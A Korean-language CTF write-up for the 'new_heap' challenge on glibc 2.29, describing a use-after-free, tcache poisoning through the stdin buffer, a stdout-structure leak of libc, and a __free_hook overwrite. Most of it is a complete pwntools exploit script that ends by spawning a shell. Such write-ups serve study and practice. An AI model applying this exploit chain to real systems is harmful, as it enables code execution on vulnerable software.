new_heap

대회 중에 못 풀었던 new_heap을 잡아봤다.

일단 ubuntu 19버전에서 돌아가고(glibc 2.29) 중국 친구들이 낸 문제 답게 view랑 edit은 꿈도 꾸지못한다.

add랑 delete만 가지고 알아서 잘 해먹어야하는데, 바이너리 요약하면 대충 아래와 같다.

  1. add : 0x78 이하로 17번 까지 malloc 가능
  2. delete : 초기화 안해서 uaf 발생
  3. exit : getchar()로 입력받고 ‘y’이면 exit(0)

delete에서 uaf가 터져도 glibc 2.29의 tcache dfb 체크 땜에 아무것도 할 수가 없는데, exit할때 굳이 getchar() 호출하는 것 보고 stdin 버퍼 힙을 활용해야 할 것 같다 생각했다.

지쳤으니까 exploit flow는 간단히 요약이랑 익스만 올리겠다,,,

  1. 힙 8개 생성, 앞의 7개 free해 tcache bin 채움
  2. 마지막 힙 free 후 stdin buffer 생성 (malloc_consolidate가 호출되고, fastbin 위치에 stdin buffer가 생성됨)
  3. stdin buffer로 key 조작하며 아래의 unsorted bin->fd를 _IO_2_1_stdout_으로 돌림 (4 bit bruteforcing)
  4. unsorted bin 주소로 tcache poisoning을 진행하면, unlink 과정에서 tcache에 _IO_2_1_stdout_이 등록됨
  5. stdout 구조체의 필드를 조작하여 libc leak
  6. input 조절로 IO_2_1_stdin->_IO_read_ptr == _IO_read_end 충족 (getchar로 stdin buffer에 입력을 한번 더 줄 수 있게됨)
  7. __free_hook으로 힙을 받아내고, system을 덮어 control pc
  8. get shell~
from pwn import *

def add(size, pay):
	p.sendafter('exit', '1')
	p.sendafter(':', str(size))
	p.sendafter(':', pay)

def free(idx):
	p.sendafter('exit', '2')
	p.sendafter(':', str(idx))

def quit(pay):
	p.sendafter('exit', '3')
	p.sendafter('?', pay)

p = process('./new_heap')
e = ELF('./new_heap')
l = e.libc

#context.log_level = 'debug'

p.recvuntil('0x')
lsb = int(p.recvline().strip(), 16) << 8
print hex(lsb)

for i in range(8):
	add(0x50, 'a'*0x50)
# fill tcache:0x60
for i in range(7):
	free(i)

free(7) # fastbin:0x60
quit('\n') # 7 consolidated, stdin buffer allocated on 7's address

add(0x60, '2'*0x60) # 8 prevent stdin buffer consolidate into top
free(7) # free stdin buffer

add(0x60, '8'*0x60) # 9
add(0x40, 'j'*0x40) # 10
free(9)

fake = '\x00'*8+'a'*8 # e->key
fake += 'b'*0x50
fake += p64(0)+p64(0x51)
fake += 'j'*0x40
fake += p64(0)+p64(0xf51)
fake += '\x60\x17' # modify unsorted bin's fd to _IO_2_1_stdout_
quit(fake)

free(9) # dfb

add(0x60, '\xc0') # 11, unsorted bin's lsb
add(0x60, 'a') # 12
add(0x60, 'a') # 13
add(0x60, p64(0xfbad1800)+'\x00'*25) # 14, modify stdout struct

libc = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')- 0x1e7570
print hex(libc)

# set _IO_2_1_stdin->_IO_read_ptr == _IO_read_end
for i in range(len(fake)-1):
	p.sendafter('exit', '3')

# control pc
free(10)
quit('a'*0x60+p64(0)+p64(0x51)+p64(libc+l.sym['__free_hook'])) # tcache poisoning
add(0x40, '/bin/sh\x00') # 15
add(0x40, p64(libc+l.sym['system'])) # 16, alloc on __free_hook

free(15) # get shell

p.interactive()